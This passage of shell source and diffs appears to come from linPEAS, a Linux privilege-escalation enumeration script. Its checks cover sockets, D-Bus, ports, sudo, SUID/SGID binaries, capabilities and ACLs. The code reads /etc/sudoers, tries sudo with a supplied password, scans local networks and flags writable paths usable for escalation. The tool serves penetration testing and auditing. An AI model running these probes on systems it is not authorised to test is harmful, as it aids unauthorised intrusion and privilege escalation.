unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
else
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
fi
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
perms="${perms} - Can Connect"
else
perms="${perms} - Cannot Connect"
fi
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi
#-- PSC) Writable and weak policies in D-Bus config files
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $line | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi
fi

View File

@@ -53,7 +53,7 @@ fi
#-- NI) Ports #-- NI) Ports
print_2title "Active Ports" print_2title "Active Ports"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," ( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
echo "" echo ""
@@ -92,14 +92,14 @@ fi
print_2title "Can I sniff with tcpdump?" print_2title "Can I sniff with tcpdump?"
timeout 1 tcpdump >/dev/null 2>&1 timeout 1 tcpdump >/dev/null 2>&1
if [ $? -eq 124 ]; then #If 124, then timed out == It worked if [ $? -eq 124 ]; then #If 124, then timed out == It worked
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
else echo_no else echo_no
fi fi
echo "" echo ""
#-- NI) Internet access #-- NI) Internet access
if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
print_2title "Internet Access?" print_2title "Internet Access?"
check_tcp_80 2>/dev/null & check_tcp_80 2>/dev/null &
check_tcp_443 2>/dev/null & check_tcp_443 2>/dev/null &
@@ -109,11 +109,15 @@ if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ]
echo "" echo ""
fi fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then if [ "$AUTO_NETWORK_SCAN" ]; then
if ! [ "$FOUND_NC" ]; then if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
printf $RED"[-] $SCAN_BAN_BAD\n$NC" printf $RED"[-] $SCAN_BAN_BAD\n$NC"
echo "The network is not going to be scanned..." echo "The network is not going to be scanned..."
elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
echo "The network is not going to be scanned..."
else else
print_2title "Scanning local networks (using /24)" print_2title "Scanning local networks (using /24)"
@@ -122,7 +126,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
fi fi
select_nc select_nc
local_ips=$(ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
printf "%s\n" "$local_ips" | while read local_ip; do printf "%s\n" "$local_ips" | while read local_ip; do
if ! [ -z "$local_ip" ]; then if ! [ -z "$local_ip" ]; then
print_3title "Discovering hosts in $local_ip/24" print_3title "Discovering hosts in $local_ip/24"
@@ -151,6 +155,10 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
echo "" echo ""
fi fi
done done
print_3title "Scanning top ports of host.docker.internal"
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
echo ""
fi fi
fi fi

View File

@@ -4,7 +4,7 @@
#-- UI) My user #-- UI) My user
print_2title "My user" print_2title "My user"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "" echo ""
@@ -59,26 +59,26 @@ fi
#-- UI) Sudo -l #-- UI) Sudo -l
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
(echo '' | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" (echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
if [ "$PASSWORD" ]; then if [ "$PASSWORD" ]; then
(echo "$PASSWORD" | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo" (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
fi fi
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers" ( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi fi
for filename in '/etc/sudoers.d/*'; do for filename in '/etc/sudoers.d/*'; do
if [ -r "$filename" ]; then if [ -r "$filename" ]; then
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
fi fi
done done
echo "" echo ""
#-- UI) Sudo tokens #-- UI) Sudo tokens
print_2title "Checking sudo tokens" print_2title "Checking sudo tokens"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
@@ -117,7 +117,7 @@ fi
#-- UI) Pkexec policy #-- UI) Pkexec policy
print_2title "Checking Pkexec policy" print_2title "Checking Pkexec policy"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
echo "" echo ""

View File

@@ -1,632 +0,0 @@
###########################################
#----------) Interesting files (----------#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find / -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) Misconfigured ld.so
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so"
printf $ITALIC"/etc/ld.so.conf\n"$NC;
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
for f in $fpath/*; do
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
done
fi
done
echo ""
##-- IF) Capabilities
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
echo "Current capabilities:"
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
echo "Shell capabilities:"
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
##-- IF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls"
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IF) .sh files in PATH
print_2title ".sh files in path"
